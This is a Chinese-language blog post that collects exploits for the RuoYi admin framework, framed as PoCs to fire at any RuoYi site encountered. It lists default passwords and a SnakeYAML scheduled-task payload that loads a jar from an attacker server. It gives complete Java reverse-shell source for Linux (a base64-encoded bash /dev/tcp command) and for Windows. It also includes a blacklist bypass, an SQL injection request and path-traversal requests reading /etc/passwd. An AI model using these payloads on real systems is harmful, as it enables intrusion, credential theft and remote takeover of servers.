Tommonkey

All greatness comes from a brave beginning

0%

Ruoyi框架相关漏洞汇总

碰到若依的站现在是越来越多了,既然量上来了,那肯定是要做下记录。下次遇见就直接把poc都扔上去,有洞就收,没洞就直接跑路:)

默认口令

看了下ruoyi的源码,后台初始化是有几个默认账号的

  • admin:admin123
  • ry:123456
    若开启了druid服务,路径一般为:/druid/index.html
  • root:123456

配合ruoyi的服务

  • alibaba druid
  • alibaba nacos
  • spring
  • redis
  • mysql
  • minio
  • fastjson
  • shiro
  • swagger-ui.html
  • mybatis

定时任务RCE

如果你能顺利进入后台,那就成功了一小半。进去后直接找定时任务
1-1
如果没有该标签,应该是被隐藏了,通过如下方法设为启用状态即可
1-2
或者直接访问路径:/monitor/job。现在演示一下反弹shell的操作
1-3
这里的 调用目标字符串 poc为:

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps_ip:vps_port"]]]]')

如果http被加入黑名单,可采用h’t’t’p://方式绕过。然后需要修改编译如下项目的jar包

1
2
项目地址:
https://github.com/Y4er/yaml-payload

修改其项目文件:yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
这里建议复制如下代码直接替换源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX3Zwc19pcC92cHNfcG9ydCAwPiYx}|{base64,-d}|{bash,-i}"); // 这里填入编码后的语句即可保存
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

注意:反弹shell语句需要编码
1-7
备注:此替换源代码来源于项目:https://github.com/artsploit/yaml-payload
文件修改完成后,编译运行生成jar包

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

1-6

将生成的新jar包上传至自己的vps,使用python起一个简单的web服务(python3 -m http.server port),同时在起一个nc -lvvp 进行端口监听即可。最后把计划任务启动即可接受shell了。

Windows 反弹shell

当目标服务器类型为windows,将AwesomeScriptEngineFactory.java的内容替换成如下源代码,并将其中的host与port修改,再进行编译即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() throws java.io.IOException, InterruptedException {
try {

String host="ip";
int port=port;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s=new java.net.Socket(host,port);
java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

备注:此替换源代码来源于项目:https://github.com/bkfish/yaml-payload-for-Win
剩下的流程都是一样的^^,感谢师傅的分享

ruoyi sql注入

后台登陆获得Cookie之后直接抓包修改,poc如下,填入ip与cookie即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /system/role/list HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: target_cookie
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

1-5

ruoyi任意文件下载-1

同样的,这也需要登录后台获取Cookie后才能执行的漏洞,exp如下

1
2
3
4
5
6
7
8
9
10
11
GET /common/download/resource?resource=/profile/../../../../../../etc/passwd HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: target_cookie
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

ruoyi任意文件下载-2

需要登录后台抓包获取session后,在定时任务处创建任务调用Bean: ruoYiConfig.setProfile(‘/etc/passwd’),编辑好后保存,点击执行一次后抓包,修改如下即可看到相应的文件内容

1
2
3
4
5
6
7
8
9
10
GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1
Host: targetip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=target_session
Upgrade-Insecure-Requests: 1

或者你也可以直接访问路径:/common/download/resource?resource=Info.xml:.zip 下载文件查看

ruoyi jdbc template sql注入

这里也是用到定时任务,需要调用:jdbcTemplate.execute()来执行sql语句。填入的语句需要进行hex。

shiro命令执行

这个扫描器配合工具撸就完事了…………

OVER~

奖励作者买杯可乐?